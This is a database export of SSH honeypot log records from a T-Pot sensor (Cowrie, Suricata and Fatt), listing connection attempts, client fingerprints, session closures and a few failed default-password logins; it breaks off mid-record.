28352	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:04.085441+03	2021-09-20 14:30:02.718557+03	{"_id": "zwbsAnwBvYTbRNuEey1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "91d871c49be4", "@version": "1", "duration": 3.52008318901062, "timestamp": "2021-09-20T11:17:04.085441Z", "@timestamp": "2021-09-20T11:17:04.085Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28353	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:05.581368+03	2021-09-20 14:30:02.719554+03	{"_id": "1AbsAnwBvYTbRNuEfy0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:54644 (192.168.176.2:22) [session: b80bb2fd57d2]", "session": "b80bb2fd57d2", "@version": "1", "protocol": "ssh", "src_port": 54644, "dest_port": 22, "timestamp": "2021-09-20T11:17:05.581368Z", "@timestamp": "2021-09-20T11:17:05.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28354	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:05.836127+03	2021-09-20 14:30:02.721523+03	{"_id": "2wbsAnwBvYTbRNuEfy0r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44420 (192.168.176.2:22) [session: c0a8310169e3]", "session": "c0a8310169e3", "@version": "1", "protocol": "ssh", "src_port": 44420, "dest_port": 22, "timestamp": "2021-09-20T11:17:05.836127Z", "@timestamp": "2021-09-20T11:17:05.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28355	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:05.584354+03	2021-09-20 14:30:02.722524+03	{"_id": "2gbsAnwBvYTbRNuEfy0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b80bb2fd57d2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:05.584354Z", "@timestamp": "2021-09-20T11:17:05.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28356	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:17:05.858707+03	2021-09-20 14:30:02.723554+03	{"_id": "3wbsAnwBvYTbRNuEgC3y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 288217768241148, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54644, "dest_port": 22, "timestamp": "2021-09-20T11:17:05.858707Z", "@timestamp": "2021-09-20T11:17:05.858Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28357	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:06.111906+03	2021-09-20 14:30:02.725555+03	{"_id": "4QbsAnwBvYTbRNuEgi04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44420, "timestamp": "2021-09-20T11:17:06.111906", "@timestamp": "2021-09-20T11:17:06.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28358	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:05.584983+03	2021-09-20 14:30:02.726553+03	{"_id": "5AbsAnwBvYTbRNuEgi04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54644, "timestamp": "2021-09-20T11:17:05.584983", "@timestamp": "2021-09-20T11:17:05.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28359	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:06.24849+03	2021-09-20 14:30:02.727553+03	{"_id": "5wbsAnwBvYTbRNuEgy0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c0a8310169e3", "@version": "1", "timestamp": "2021-09-20T11:17:06.248490Z", "@timestamp": "2021-09-20T11:17:06.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28360	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:07.512424+03	2021-09-20 14:30:02.729553+03	{"_id": "6QbsAnwBvYTbRNuEhi36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [anonymous/anonymous] failed", "session": "c0a8310169e3", "@version": "1", "password": "anonymous", "username": "anonymous", "timestamp": "2021-09-20T11:17:07.512424Z", "@timestamp": "2021-09-20T11:17:07.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28361	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:17:05.914892+03	2021-09-20 14:30:02.730555+03	{"_id": "4gbsAnwBvYTbRNuEgi04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54644, "dest_port": 22, "timestamp": "2021-09-20T11:17:05.914892", "@timestamp": "2021-09-20T11:17:05.914Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28362	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:05.999414+03	2021-09-20 14:30:02.732556+03	{"_id": "5QbsAnwBvYTbRNuEgy0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c0a8310169e3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:05.999414Z", "@timestamp": "2021-09-20T11:17:05.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28363	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:17:14.158266+03	2021-09-20 14:30:02.733553+03	{"_id": "FAbsAnwBvYTbRNuEoi5Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/1234] failed", "session": "ac745a7a51ba", "@version": "1", "password": "1234", "username": "root", "timestamp": "2021-09-20T11:17:14.158266Z", "@timestamp": "2021-09-20T11:17:14.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28364	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:17:15.640707+03	2021-09-20 14:30:02.734555+03	{"_id": "FQbsAnwBvYTbRNuEpi5A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "ac745a7a51ba", "@version": "1", "duration": 4.096795082092285, "timestamp": "2021-09-20T11:17:15.640707Z", "@timestamp": "2021-09-20T11:17:15.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28365	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:17:16.689904+03	2021-09-20 14:30:02.737554+03	{"_id": "FgbsAnwBvYTbRNuEqi4p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "26339735a2ac", "@version": "1", "duration": 7.083808422088623, "timestamp": "2021-09-20T11:17:16.689904Z", "@timestamp": "2021-09-20T11:17:16.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28366	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:24.759085+03	2021-09-20 14:30:02.738553+03	{"_id": "JwbsAnwBvYTbRNuEyS5t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [dave/dave] failed", "session": "10be4db3b3f4", "@version": "1", "password": "dave", "username": "dave", "timestamp": "2021-09-20T11:17:24.759085Z", "@timestamp": "2021-09-20T11:17:24.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28367	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:17:26.748193+03	2021-09-20 14:30:02.73956+03	{"_id": "KQbsAnwBvYTbRNuE0S4-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 61 seconds", "session": "b961918efaae", "@version": "1", "duration": 61.16673445701599, "timestamp": "2021-09-20T11:17:26.748193Z", "@timestamp": 